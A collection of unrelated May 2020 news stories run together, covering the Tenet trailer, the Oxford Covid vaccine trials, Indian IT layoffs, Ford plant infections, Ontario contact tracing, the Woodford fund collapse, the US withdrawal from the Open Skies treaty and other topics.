"IMAX 70mm. Biggest screen possible. This is going to be glorious," one wrote, while another said: "COMING TO THEATERS??!!! Mr. Nolan, you are a true hero." From the perilous boat sequences to building scaling shots to epic car chases to torture scenes to plane crashing and exploding sequences, the trailer was gripping and gritty, without revealing plot points.

The film has been described as "an action epic evolving from the world of international espionage", and the second trailer came with hints of 'inversion' versus time travel as a part of survival.

"To do what I do I need some idea of the threat we face," Washington's character says in the clip.

Pattinson's character is heard asking: "Why did you bring me in?", to which Washington responded: "You really want to know? He can communicate with the future." Pattinson questions: "Time travel?" to which Washington responded: "No. Inversion." The support cast includes Elizabeth Debicki, Dimple Kapadia, Kenneth Branagh, Michael Caine, Dimple Kapadia, Aaron Taylor-Johnson and Clemence Poesy.

The Warner Bros.' movie has been shot across seven countries -- India, the US, the UK, Denmark, Estonia, Italy, and Norway.

-- The story has been published from a wire feed without any modifications to the text
University of Oxford researchers working on a to protect against on Friday confirmed that they are moving to the next level as they begin recruiting over 10,000 people for the second phase of human trials.

The first phase of the trial began last month with 1,000 healthy adults aged 55 and under as volunteers. Now more than 10,200 people, including over 70s and five to 12-year-olds, will be enrolled in the study, to see the effects on their immune system.

A recent study had found that the vaccine, named ChAdOx1 nCoV-19, had shown some promising results in a small study with monkeys.

The COVID-19 trial team have been working hard on assessing the safety and immunogenicity of ChAdOx1 nCoV-19, and preparing to assess efficacy, said Sarah Gilbert, professor of vaccinology at the university's Jenner Institute who is leading the research.

We have had a lot of interest already from people over the age of 55 years who were not eligible to take part in the phase I study, and we will now be able to include older age groups to continue the vaccine assessment. We will also be including more study sites, in different parts of the country, she said.



ChAdOx1 nCoV-19 is made from a virus (ChAdOx1), which is a weakened version of a common cold virus (adenovirus) that causes infections in chimpanzees, that has been genetically changed so that it is impossible for it to replicate in humans.

For the latest set of volunteers, researchers will be assessing the immune response to the vaccine in people of different ages, to find out if there is variation in how well the immune system responds in older people or children.

"The clinical studies are progressing very well and we are now initiating studies to evaluate how well the vaccine induces immune responses in older adults, and to test whether it can provide protection in the wider population, said Professor Andrew Pollard, head of the Oxford Vaccine Group.

The Phase III part of the study involves assessing how the vaccine works in a large number of people over the age of 18.

This group will assess how well the vaccine works to prevent people from becoming infected and unwell with COVID-19. Adult participants in both the Phase II and Phase III groups will be randomised to receive one or two doses of either the ChAdOx1 nCoV-19 vaccine or a licensed vaccine (MenACWY) that will be used as a control for comparison, the university said.



Mene Pangalos, Executive Vice President for BioPharmaceuticals R&D at AstraZeneca, which has a partnership with the university for the production of the vaccine if it is proved effective, said: The speed at which this new vaccine has advanced into late-stage clinical trials is testament to Oxford's ground-breaking scientific research.

We will do everything in our power to engage with governments, multilateral organisations and partners around the world to increase production and distribution and ensure rapid, fair and equitable distribution of a globally accessible vaccine.

The study aims to assess how well people across a broad range of ages could be protected from Covid-19 with this new vaccine. It will also provide valuable information on the safety aspects of the vaccine and its ability to generate good immune responses against the virus.

The team behind the vaccine have previously said they are aiming to have at least a million doses of a vaccine by September this year. However, the UK government has repeatedly warned that there are no guarantees a vaccine will be discovered against the deadly virus.

The trial is among several experimental vaccines being developed worldwide to try and combat the spread of Covid-19 and help lift strict restrictions on human movement in place in most countries.
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You may have seen (or ignored) a gazillion articles about the U.S. government preparing to sue Google for possibly being an illegal monopoly.

This is going to get weird. So heres what you need to know about this tussle, and why normal humans should care.

What the government wants to know. The central question is: Does Google cheat to get a leg up over competitors, and if so, does that hurt all of us? Simple but hard to answer.

Government lawyers considering bringing a case seem to be focusing on a part of Google we rarely think about. Almost every time you visit a website, theres a rapid-fire computerized auction of companies bidding to show you an advertisement. Google has its hands in multiple parts of those auctions.
French business process outsourcing firm Teleperformance has laid off hundreds of employees in India as its business took a hit at the back of COVID-19.

Harpreet Saluja, Founder & General Secretary - National Information Technology Employees Senate (NITES), has said that Teleperformance employs more than 13,000 employees in India and of which close to 3,000 are being laid off from 21 cities.

Saluja said that the company had filed a complaint with the labour commission and a notice had been sent to the company.

An email sent to the company did not elicit any response till the time of publishing.

In an email to employees, which Moneycontrol has seen, the company said, COVID-19 has impacted all of us in different ways and so has it impacted our clients and therefore our organisation as well.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The company explained that many of its clients had discontinued their services given the decline in demand. Others have asked the company to reduce staffing. There is also uncertainty regarding the future trends, the mail said.

This has meant that revenue from our organisation have significantly reduced and thus it cannot sustain the same costs and overheads, it read.

The company has also said in the mail that it is forced to take hard decisions in the interim, which includes termination of employees. The company is giving a 30-day salary in lieu of the notice period to the terminated employees.

Teleperformance is not the first IT/ITeS company to terminate employees. Earlier Fareportal terminated more than 300 employees in March as the virus outbreak hit its businesses too. Fareportals major clients are in the airline and hospitality business, one of the worst hit because of COVID-19.

More job losses

According to hiring executives, more terminations are likely to follow as they brace for the worst as the virus outbreak intensifies. HR experts and industry players see around 1.5 lakh employees in India's IT industry lose their jobs over the next three-to-six months.

The industry employs about 45-50 lakh, of which smaller firms account for about 10-12 lakh. The top-five IT firms alone employ close to 10 lakh people.

Aditya Narayan Mishra, CEO, CIEL HR Services - a staffing firm - said in an earlier interaction that the majority of these layoffs will happen in small IT firms, which are dependent on a few large clients. Large and mid-tier IT firms will account for the rest.The probability of finding a new job is less as firms look to cut cost. Some companies would still be hiring for critical roles or niche skills. However for the majority of the unemployed, opportunities would be hard to come by. Hiring executives pointed out that the only way to get hired is through upskill yourself with skills that are in demand.
CNN Philippines (Metro Manila, May 22)  The first group of participants of the "Balik Probinsya, Bagong Pag-asa" program has arrived in Leyte on Thursday night.

"Maayos naman ang pagdating, very happy. Happy sila nakarating dito, happy rin kami na finally nabawasan natin ang mga kababayan namin sa Leyte na nagdurusa, no," said Leyte Governor Leopoldo Dominico Petilla in a Laging Handa virtual press briefing on Friday.

[Translation: Their arrival was orderly, (they were) very happy. They're happy to have arrived here. We're also happy because finally, we have reduced the number of suffering Leyte residents.]

Petilla said the more than one hundred returnees underwent disinfection, interviews, and swab tests for COVID-19 upon arrival. They were then fetched by vehicles from their respective municipalities.

Swab samples will be sent to the Vicente Sotto Memorial Medical Center for confirmatory testing, according to an official of the Leyte Provincial Health Office.

"Ang kailangan muna natin talaga ngayon muna is mahintay natin muna lumabas muna ang resulta ng swab testing na ginawa before we can really start implementing ang mga livelihood assistance sa kanila," said Petilla. "[S]iguraduhin muna natin ang kalusugan, no. Ready na naman ang mga ano natin, national agencies na mag-extend din ng tulong."

[Translation: What we need now is to wait first for the results of the swab testing to come out before we can really start implementing livelihood assistance for them. Let us ensure their health first. Our national agencies are ready to extend assistance.]

The returnees will also be subjected to health protocols in their home municipalities, the official added.

Aside from Leyte, provinces participating in the pilot run of Balik Probinsya include Camarines Sur, Zamboanga del Norte, Bukidnon, Lanao del Norte, Pangasinan, Quirino and Marinduque.

President Rodrigo Duterte approved the program earlier this month in a bid to decongest Metro Manila and promote growth among regions amid the coronavirus pandemic.

Program participants will also be provided vouchers and benefits based on the livelihood they plan to pursue in order to support themselves and their families financially in the provinces.

Stringer Wil Mark Amazona contributed to this report.
In this article F

FORD

Ford started resuming vehicle production in the U.S. on May 18, 2020 with new coronavirus safety protocols such as health assessments, personal protective equipment and facility modifications to increase social distancing. Ford

It wasn't a matter of if but when someone with Covid-19 would unknowingly enter an car factory as tens of thousands of autoworkers returned to work this week. And it only took two days. At least three Ford Motor employees at plants in Illinois and Michigan tested positive for the disease this week, causing temporary shutdowns for deep cleaning. The shutdowns were within days of the plants' reopening after being shuttered since March due to the coronavirus pandemic. Production interruptions because of new infections is expected to be an ongoing issue for the foreseeable future as plants across the country continue to ramp up manufacturing. "This is going to be rocky," said Kristin Dziczek, vice president of industry, labor and economics at the Center for Automotive Research. "You're looking for a sustained path to full production with some bumps in the road, and these are bumps in the road." While automakers have implemented extensive safety protocols to minimize the spread of Covid-19 on the factory floor, they can't control what employees do outside of work. U.S. health officials say some carriers of the disease can be asymptomatic, making it difficult to detect who has the disease without testing. "It's not a matter of necessarily creating a condition where it's impossible for anyone to get sick," said Stephanie Brinley, principal automotive analyst at IHS Markit. "What they're creating is an environment with which to handle it if something does happen, and to handle it quickly."

That's what happened at the Ford plants Tuesday and Wednesday, according to company officials. As soon as the employees exhibited potential symptoms, they were tested and quarantined. Those around them were also asked to self-quarantine for 14 days, the company said. While exact details are scarce due to health privacy laws, a person familiar with the situation said the employees began showing symptoms while working separate shifts at Ford's Chicago Assembly plant and were sent to a hospital for testing. "Protocols are in place to help stop the spread of the virus," the company said in a statement. Studies show it takes five to 12 days for symptoms to show in most patients. Given the incubation time of the disease, the company said the employees did not contract Covid-19 at work. General Motors and Fiat Chrysler declined to disclose how many employees have been tested since they started reopening factories on Monday. Neither company has closed plants this week.

"We have not had an instance of community spread in one of our facilities to date, our production restart has gone smoothly and our health and safety protocols are working," GM said in an emailed statement. "As we always have, if there are individuals who are identified as having been exposed to COVID-19 or who turn out to have COVID-19 symptoms at a GM facility, we will take appropriate action to protect everyone's health because the safety of our team is our overriding priority." A Fiat Chrysler spokeswoman said no employees have tested positive since production restarted Monday. GM declined to comment on positive tests.

Positive test procedures

The Detroit automakers, pressured by the United Auto Workers union, have been the most open to testing employees for Covid-19 compared with other automakers. While each has slightly different procedures and safety protocols, they have the same goal: Identify anyone with the disease as quickly as possible and reduce the risk of them spreading it to others. The protocols include alerting a supervisor of any symptoms, testing and, if positive, quarantining for 14 days. The companies also will deep clean affected work spaces and track down everyone who came in contact with the infected person. Those people may also need to quarantine, depending on the interaction.

United Auto Workers members leave the Fiat Chrysler Automobiles Warren Truck Plant after the first work shift on May 18, 2020 in Warren, Michigan. Fiat Chrysler along with rivals Ford and General Motors Co., restarted the assembly lines on Monday after several week of inactivity due to the COVID-19 pandemic. Gregory Shamus | Getty Images

Automakers won't necessarily have to completely shut down plants for every positive test. "It depends on how much that person who tested positive moved about the plant and were exposed to other people," Dziczek said. "They need to clean where they've been." GM has testing kits at each of its plants. It also has established relationships with companies such as LabCorp and Sonic Healthcare to receive results within 48 hours. Ford and Fiat Chrysler don't have testing at plants. They instead formed relationships with hospitals such as Beaumont Health, Michigan's largest hospital system, to conduct testing of workers who are believed to have contracted the disease. "We've spent a lot of time researching testing and testing options with external health experts," Ford Chief Human Resources Officer Kiersten Robinson told reporters on April 30. "The bottom line is based on all the information we have access to, we will not have a reliable and scalable testing solution for several weeks, and it may even be months." Robinson said the company created a task force of employees to partner with health and academic institutions "to fast track and progress a testing solution." "This is a key priority for us," she said. "Longer term, we do think it's going to be critical."

Ford started resuming vehicle production in the U.S. on May 18, 2020 with new coronavirus safety protocols such as health assessments, personal protective equipment and facility modifications to increase social distancing. Ford

To assist in detecting employees with Covid-19 prior to them entering plants, the Detroit automakers and others have implemented pre-work questionnaires and body temperature checks upon arrival. To reduce the spread of the disease, significant safety protocols have been put in place and workstations have been redesigned. Employees also must wear face masks or face shields and are urged to social distance during breaks, lunch and whenever possible.

Mass testing coming?

The UAW pushed for mass testing for all of its roughly 150,000 members with GM, Ford and Fiat Chrysler before the plants reopened. Due to the costs, reliability and complexity of such a process as well as a shortage of tests, the automakers and union compromised on the current testing protocols to reopen. But UAW President Rory Gamble is pushing for as much testing as possible. "In terms of testing, I have said to all of our employers that we expect a commitment from them for full testing as soon as it is possible," he wrote in an open letter to members earlier this month. "Until then, we expect as much testing as is possible to be conducted."

United Auto Workers (UAW) acting president Rory Gamble speaks to Reuters from his office in Southfield, Michigan, November 6, 2019. Rebecca Cook | Reuters
A shivalinga, broken idols and other artefacts were unearthed recently during levelling of the site for a Ram temple, the trust charged with its construction said.

The levelling work using heavy earth moving machinery began on May 11, the Ram temple trust said in a statement.

The Shri Ram Janmabhoomi Teertha Kshetra Trust reported that a five-foot shivalinga, seven black touchstone pillars, six red sandstone pillars, a flower pinnacle and four broken idols of gods and goddesses were found.

The trust posted pictures and videos of the artifacts it said were recovered during the levelling process.

Uttar Pradesh government agencies including Public Works Department (PWD) and Power Corporation are involved in the construction process, along with at least one private firm.

The work has resumed after due permission from district authorities and is likely to gain pace after the lockdown. The trust will soon call a meeting of its members before expediting the construction of the Ram temple," its secretary Champat Rai said.

A Buddhist group, which had filed a petition in the Supreme Court claiming that the site was once a stupa, has demanded that the levelling by heavy machinery should be stopped and excavation of the area done by the Archaeological Survey of India to avoid tampering with any evidence.

Vineet Maurya, who had lodged the petition as member of the Buddhist community, told PTI that they would approach the Supreme Court with a fresh petition now.

In a historic verdict last November on the Ramjanmabhoomi-Babri Masjid dispute, the Supreme Court had ruled in favour of construction of a temple.

It also ordered that an alternative five-acre plot must be found for a mosque within Ayodhya.

The 16th-century Babri mosque that stood on the disputed site in Ayodhya was demolished in 1992 by kar sevaks claiming that originally there was a Ram temple at the same spot.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
As Ontario begins to reopen and works to contain the spread of COVID-19, one aspect of the fight has proved troublingly evasive.

On any given day in the past month, the province hasnt been able to account for the source of exposure for more than two-thirds of reported cases of the virus. This is because the cases are due to community spread  where the source has been determined to be unknown  or they are still being investigated by local public health units.

Ontarios difficulty in tracking down this information stands in sharp contrast to other provinces, namely British Columbia and Alberta, which have been able to follow the virus better, contain it and ease lockdowns faster.

When you know the source, then you know where the hotspot is, said Colin Furness, an infection control epidemiologist at the University of Toronto. When you dont, youre left guessing.

Overall, Ontarios performance has not been good, but its variable by region. In some areas, there have been very few cases and contact tracing has been very well done. In other regions, theyve collected a lot of data but they havent reported it. And in other places, theyve just been overwhelmed.

Every day, Public Health Ontario publishes a summary that breaks down new and cumulative cases of COVID-19 into categories such as gender distribution, hospitalizations, outbreaks in long-term-care homes, and deaths. The information is pulled from the provinces integrated Public Health Information System (iPHIS), which relies on local public health units to enter case data by 4 p.m. the previous day.

The summary also reports the number of confirmed cases by exposure type in four classifications: travel, close contact of a confirmed case, community transmission and information pending.

Over the last month, the travel and close contact exposure types  for which Public Health Ontario knows whether the virus was acquired through travel or exposure with people who had the disease  have together averaged about 30 per cent of the provinces total cumulative cases.

The remaining two classifications, community transmission and information pending, are problematic in that officials dont know on any given day how people in these categories were exposed to the virus. Since April 21, these two categories have accounted for more than two-thirds of the provinces total confirmed cases on a daily basis.

For example, on May 20, there were a total of 24,187 cumulative confirmed cases of COVID-19 reported in Ontario, according to the summary. Of those, 1,557 were the result of exposure to the virus due to travel, 6,030 due to close contact with a confirmed case, 8,412 were the result of community transmission (i.e. we dont know where people got it and neither do they), and 8,188 were information pending.

In other words, cases for which the source of the virus is unclear and for which we have incomplete information together made up 68.6 per cent of the provinces total confirmed cases that day.

The definition of community transmission varies among some regions, but Dr. David Williams, Ontarios chief medical officer of health, told the Star the province classifies it as cases where we cant be sure where they got it from  and (the patient is) not sure.

He said the province is trying to reduce the community transmission and information pending cases, noting that cases of the former are particularly worrisome.

We dont know if they got it from a contact. We dont know if they got it from travel. We dont know if they got it from an outbreak. Theyre just out there.

Williams said the goal is to ultimately find out how people got the virus.

It is difficult to determine exactly where someone acquired their infection because the incubation for this virus is approximately 14 days, said Dr. Vinita Dubey, Torontos associate medical officer of health. It is sometimes not possible to determine exactly what was the source for the person's infection.

A breakdown provided Wednesday in an email by Toronto Public Health listed as unknown or under investigation the source of transmission in 20 per cent of their 8,866 cases  1,773 people. It lists as community transmission only 10 per cent of the total cases  886. (Other categories are: 31 per cent close contact; 27 per cent related to institutions; eight per cent related to health-care settings; four per cent related to travel.)

In Ontario, the number of cases attributed to travel have not increased much since the early days of COVID-19 contact tracing. The other three categories have risen steadily, and relatively evenly.

When contact tracers assign a case to a category they make a judgment, and that really comes into play with close contact and community transmission. Close contact is relatively easy to assign  say a husband is a confirmed case and his wife also tests positive. Or an infected resident at a long-term-care home passes the virus to a personal support worker.

Furness said community spread is a very long process of investigation simply to come to the conclusion that theres no connection to be found, Furness said. When you have a lot of community spread, its a double whammy. You get a lot of cases and youre going to spend a ton of time on each case to come to that conclusion that youll never know where it came from.

Speaking to the media Wednesday, Williams said information pending cases would shift into other categories as investigations continue. Ideally, Id like to see that number dropping down low in the long term, as public health officials trace cases to an outbreak, close contact or other epidemiological link.

British Columbia and Alberta, two provinces hailed by experts for their swift and organized responses to the COVID-19 pandemic, seemed to have fared better in tracking down sources of exposure to the virus.

As of Wednesday, British Columbia has had 454 local cases with an unknown source, out of its 2,465 total cases of the virus, or 18 per cent. In addition, 92 cases, or four per cent of the total, have information pending or missing.

Of Albertas 6,735 total cases, 624 are currently classified as unknown exposure, or nine per cent. Meanwhile, the province has linked 3,752 cases directly to an outbreak of the virus as of Wednesday, like those at meat packing plants or long-term-care facilities.

Alberta considers cases to be unknown exposure if a link to an outbreak or confirmed case cant be found, a representative for Alberta Health Services (AHS) told the Star. AHSs 270-person contact tracing team begins investigating cases within 12 to 24 hours of receiving lab test results, and contact investigation is also initiated within that time frame, the provincial health service said.

Furness attributes B.C.s comparably better numbers to good data collection and the fact that it didnt have as much community spread as Ontario.

Do they have better record keeping? Yes, because no one could be worse than Ontario, he said, noting that B.C. has seen only one-tenth the number of cases Ontario has. So theyre not overwhelmed in the same way we are.

Ontarios health ministry has said that case and contact management by local public health units will inform the governments decision-making as the economy reopens. To do so, public health units are being asked to contact 90 per cent of confirmed positive cases within 24 hours of being notified of the case, said Hayley Chazan, a spokesperson for Health Minister Christine Elliott.

Chazan said 94 per cent of public health units are currently meeting this target. She said the province is currently exploring using apps to help increase the volume of contact tracing.

Contact tracing can be grunt work, said Raywat Deonandan, an epidemiologist with the University of Ottawa. Tracers are likely investigating a cases recent history and likely exposures. There is also likely a delay in the information pipeline between the investigators appraisals and the data collection centre, he said.

According to Toronto Public Healths Dubey, the citys case managers and contact tracers number 500, with more being trained. The staffers are now supported by 45 volunteers, said Dubey.

We therefore continue to investigate many COVID-19 cases in our city, said Dubey. We identify those interactions where the individual had close and prolonged contact with others and follow up directly with those people. This often includes individuals in households, workplaces and social events.

While Deonandan said its tempting to point fingers at public health leaders, Ontario is also a more populous province with complicated demographics and several large cities.

British Columbia and Alberta have a third of Ontarios population, he noted. However, both B.C. and Alberta expanded testing criteria earlier, and are more transparent with their data processes; that says something about leadership.

Ashleigh Tuite, an associate professor of epidemiology with the Dalla Lana School of Public Health, said that based on public data, theres nothing thats strongly convincing or reassuring that we have (COVID) under control.

Speaking broadly about whether Ontario should be reopening given current trends, Tuite said its important to look region by region.

There are parts of the province where there really hasnt been a lot of activity for a fairly long period of time, which differs from denser areas such as the GTA, Tuite explained. But I think having a really clear understanding of where we are, where transmission is happening and what the plan is moving forward is critical.

Kenyon Wallace is a Toronto-based investigative reporter for the Star. Follow him on Twitter: @KenyonWallace or reach him via email: kwallace@thestar.ca

Jenna Moon is a breaking news reporter for the Star and is based in Toronto. Follow her on Twitter: @_jennamoon
Tributes from former first families rolled in in response to the news that a man who was a fixture in the White House under 11 presidents had died at the age of 91 after contracting Covid-19.

Wilson Jerman started working as a cleaner under President Dwight Eisenhower and retired as a lift operator during the presidency of Barack Obama.

With his kindness and care, Wilson Jerman helped make the White House a home for decades of First Families, including ours, said former first lady Michelle Obama.

His service to others, his willingness to go above and beyond for the country he loved and all those whose lives he touched, is a legacy worthy of his generous spirit.

Bill and I were saddened to hear of the passing of Wilson Roosevelt Jerman at the age of 91 from COVID-19. Jerman served as a White House butler across 11 presidencies and made generations of first families feel at home, including ours. Our warmest condolences to his loved ones.  Hillary Clinton (@HillaryClinton) May 21, 2020

Mr Jerman became a White House butler under President John Kennedy, a role that Mrs. Kennedy was instrumental in landing for him, his oldest granddaughter, Jamila Garrett, told the local Fox News station in Washington.

Jerman served as a White House butler across 11 presidencies and made generations of first families feel at home, including ours, tweeted Hillary Clinton.

Our warmest condolences to his loved ones.

Former President George W. Bush and first lady Laura Bush said Mr Jerman was a lovely man.

Expand Close Dwight D. Eisenhower was the first president Wilson Jerman worked for (PA) / Facebook

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Whatsapp Dwight D. Eisenhower was the first president Wilson Jerman worked for (PA)

He was the first person we saw in the morning when we left the residence and the last person we saw each night when we returned, the Bushes said in a statement to NBC News.

Desiree Barnes, who worked in the Obama administration, said Mr Jerman treated the staff kindly.

She recalled that when she worked as an intern he would get her a meal if she had not eaten and that he even called her during a particularly rough snowstorm to make sure she was okay.

It did not matter political party, he was there to serve, Ms Barnes said.

He had been there on some of the hardest days for a lot of presidents.

Expand Close Michelle Obama paid tribute to Wilson Jerman (Yui Mok/PA) / Facebook

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Imagine being there when President Kennedy was assassinated and having to receive the first lady at the time.

So, he was a really empathetic man. He just was a great listener.
The Delhi High Court Friday said its division bench will hear next week, a plea seeking release of 916 foreign nationals, who participated in the religious congregation at Nizamuddin Markaz event and are held in institutional quarantine since March 30 despite being tested negative for COVID-19.

The petition came up for hearing before Justice Navin Chawla, who said it should be listed before a division bench as per the roster on May 26.

In my opinion, this petition should have been listed before a Division Bench of this court as per the roster. The petition should also be renumbered as a Criminal Writ Petition. Subject to the orders of the Chief Justice, list this petition before the Division Bench on May 26, the judge said.

The high court also said that a copy of the petition be served to the Delhi government's counsel for seeking appropriate instructions.

While the plea was initially filed as a habeas corpus, the petitioner's counsel said it should be treated as a criminal writ petition.

A habeas corpus plea is filed to seek production of a person in illegal or unlawful detention.

The petition has challenged a May 9 order of Delhi government's Department of Revenue which had directed for handing over of 567 foreign nationals, presently held in institutional quarantine, to the custody of Delhi Police after being tested negative for the virus.

Petitioners Mohammad Jamal and others said the order is ultra vires to the right to equality before law and right to life and liberty.

The petition has been filed by 20 of the 916 foreigners saying the continued detention violates the very fabric of liberty.

The reason for extreme urgency is that the holy month of Ramadan is going to end and the festival of Eid is coming in another two-three days, if the 916 foreign nationals, including the petitioners are allowed to remain in alleged quarantine all confined and isolated, the same will result into an infringement of their fundamental rights, the petition, filed through advocate Ashima Mandla, said.

The plea said FIRs were lodged by the Delhi Police in relation to the Markaz congregation against unknown persons.

It said the Delhi government's Revenue Department's order directing for handing over custody of 567 foreign nationals under institutional quarantine to the custody of the Delhi Police, upon being tested negative for Covid-19, is prima facie illegal and untenable in law.

After being exposed to a large gathering in March amid the COVID-19 or coronavirus lockdown many members of Tablighi Jamaat from Markaz Hazrat Nizamuddin were taken out by the authorities and lodged in different quarantine centres in Delhi. Some of them were sent to the centres a few days later after being detained from various mosques.

In April, COVID-19 cases in Delhi spiked after hundreds of many Tablighi Jamaat members, who had attended a large congregation in Nizamuddin, tested positive.

The other members were directly taken to quarantine centres to contain the spread of COVID-19.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Bangkok, May 22 : Thailand on Friday extended the emergency rule against the COVID-19 pandemic until the end of June.

The Center for the COVID-19 Situation Administration (CCSA), headed by Prime Minister Prayut Chan-o-cha, resolved to extend the emergency rule until the end of June, confirmed Deputy Prime Minister Somkid Jatusripitak.

The emergency rule as well as curfew was earlier scheduled to last until the end of May, reports Xinhua news agency.

During Friday's CCSA meeting at Government House, Prayut raised concerns over health security measures for which the emergency rule extension, proposed by the National Security Council, was approved by the CCSA.

Nevertheless, the CCSA is yet to consider further easing up anti-pandemic measures, including the planned reduction in curfew hours to last between 12 a.m. and 4 a.m., compared to the currently-imposed curfew hours between 11 p.m. and 4 a.m. daily.

Thailand, which has confirmed 3,037 infections and 56 deaths so far, is currently in the second phase of ease in measures amid decreasing number of fresh cases.

-- The story has been published from a wire feed without any modifications to the text
The anniversary of a dark day for investors approaches. On June 3, 2019, the Woodford Equity Income fund was suspended.

The revelation that a supposedly staid fund held so many near-valueless unquoted stocks shocked the thousands of people who had entrusted savings to the manager Neil Woodford.

It also caused a wider tremor of unease. If Woodford, formerly feted as his generation's leading stockpicker, could fall to earth, which other stars might follow?

These fears were well-founded. Last week Mark Barnett, a Woodford protege, finally departed from Invesco.

He also had Woodford's fatal fondness for illiquid holdings, which impaired his funds' performance. Yet the remnants of his reputation seem to have helped him stay put longer than many expected, even as ratings agencies warned about the risks of this strategy.

Woodford collected millions in fees and dividends as investors' losses mounted. These could have been limited had the watchdog Financial Conduct Authority intervened earlier. The body saw no cause to investigate its own role, but its probe into Woodford continues. The findings must be hard-hitting, if only for the sake of FCA's own credibility.

The investment platform Hargreaves Lansdown, Woodford's chief cheerleader, suffered embarrassment over this nearsycophantic relationship.

The business seems to have emerged largely unscathed, although the threat still looms of legal action.

Clients who relied on Woodford's continued inclusion in the platform's Wealth 50 best buy list even after the foray into biotech start-ups, might sue. A review of the Wealth 50 is under way; the FCA has acknowledged that these listings can serve a useful purpose.

So does the ignominious decline of Woodford and Barnett mean the days of the star manager are over? Or are there a select few you should still follow?

Even groups like Jupiter have shifted their emphasis towards the strength of their teams, although the named manager is still responsible for the selection of stocks.

There are other managers who many believe justify their star status. The two biggest names are Nick Train of Lindsell Train and Terry Smith of Fundsmith, whose recent stewardship of their funds seems to have confirmed their reputations.

The March market chaos, which Train describes as 'amongst the most turbulent and certainly the most distressing of my career', damaged his UK Equity and Global Equity funds and his Finsbury Growth & Income investment trust.

Investment manager Jason Hollands, of Best Invest, comments: 'You can't have a God complex. You've also got to be focused

During the first quarter, Global Equity fell 11 per cent compared with a 16 per cent decline in the MSCI World Index.

Now Train is trying to ensure he is holding companies that can survive, and launching a US fund to invest in the tech giants. Other holdings include 13 per cent of Hargreaves Lansdown. This link led Hargreaves to feel obliged to pull UK Equity and Global Equity from the Wealth 50, a month after the Woodford fund suspension.

The March rout also hit Fundsmith, which fell 8 per cent during the first quarter. But Smith exploited the slump to buy shares in Starbucks and Nike, the types of international firms Fundsmith has favoured since its launch a decade ago. Despite the success of this for mula, it has never appeared in the Wealth 50. For Smith, this may be badge of honour.

There may be much discussion about the pronouncements of Train (who quotes John Stuart Mill, the Victorian thinker) and Smith's combative opinions  but each is backed by a highly competent team. Woodford's employees, by contrast, are said to have regarded him in awe. Until the end, some believed he would emerge victorious.

Investment manager Jason Hollands, of Best Invest, comments: 'You can't have a God complex. You've also got to be focused.

'The stars of today, and tomorrow, do not deviate from a very specific approach.' A well-defined strategy is the common attribute of the new stars. Hollands rates Ben Peters and Chris Elliott of TB Evenlode Income and Michael Boyd and Giles Warren of Guardcap Global.

Stephen Yiu of LF Blue Whale is seen as a promising practioner of the Train ethos of concentrating on a small number of holdings.

Darius McDermott of Fund Calibre sees James Thomson of Rathbone Global Opportunities as a pretender to Smith's crown. Ben Yearsley of Shore Financial Planning names Svetlana Viteva, joint manager of Baillie Gifford Global Discovery fund and the Edinburgh Worldwide investment trust.

You can be sure of one thing. For all these names, the Woodford debacle is a lesson of the dark side of stardom.

Lindsell Train and Evenlode are shareholders in DMGT, the parent company of the Daily Mail and The Mail on Sunday.
Ghana has been blessed with lots of beautiful ladies and these ladies have been carving a niche for themselves with their photos.

Our manifesto: This is what YEN.com.gh believes in

These ladies are popular on Instagram all because of their beauty and body shape.

READ ALSO: Sarkodie inspires fans with throwback video to show how far he has come

One of these ladies, who has been causing confusion on Instagram is Sika Arthur.

The beautiful model has been releasing breathtaking photos flaunting her huge curves and backside.

Per information gathered by YEN.com.gh, Sika Arthur is a close friend of Moesha Boduong.

READ ALSO: Date Rush: Freelove deals with Counselor Lutterodt over negative comments about show (video)

YEN.com.gh has put together 10 photos of Sika Arthur that will make your day.

1. Looking hot in this photo:

2. Check her out:

3. She gave a closer look at herself:

4. A true model:

5. Yellow looks good on Sika Arthur:

6. She flaunts her curves in this photo:

7. She showed off her swag:

READ ALSO: Maame Yeboah Asiedu: Adom TV presenter flaunts daughter on her birthday

8. Poolside pose:

9. Always being herself:

10. She is really beautiful:

Meanwhile, Ghanaian broadcasting firm, Adom TV, has finally gotten a replacement for Nana Yaa Brefo who resigned from her role.

Yaa Brefo's resignation has been reportedly linked to an interview she had with Nana Ama McBrown which she received lots of backlash from Ghanaians.

READ ALSO: Hyping Joe Mettle above all others is an insult - Patience Nyarko

However, in less than one-week the TV station has found a replacement for their Badwam morning show.

Afia Tamakloe, who is a newscaster at the TV station has replaced Yaa Brefo on the morning show.

Yenkasa: "We have families to feed, we can't stop the Okada business" - Riders lament | #Yencomgh

Have national and human interest issues to discuss? Know someone who is extremely talented and needs recognition?

Your stories and photos are always welcome. Get interactive via our Facebook page.

Source: YEN.com.gh
The United States said on Thursday it will withdraw from the 35-nation Open Skies treaty allowing unarmed surveillance flights over member countries, the Trump administration's latest move to pull the country out of a major global treaty.

The administration said Russia has repeatedly violated the pact's terms. Senior officials said the pullout will formally take place in six months, but President Donald Trump held out the possibility that Russia could come into compliance.

"I think we have a very good relationship with Russia. But Russia didn't adhere to the treaty. So until they adhere, we will pull out," Trump told reporters.

His decision deepens doubts about whether Washington will seek to extend the 2010 New START accord, which imposes the last remaining limits on U.S. and Russian deployments of strategic nuclear arms to no more than 1,550 each. It expires in February.

Trump has repeatedly called for China to join the United States and Russia in talks on an arms control accord to replace New START. China, estimated to have about 300 nuclear weapons, has repeatedly rejected Trumps proposal.
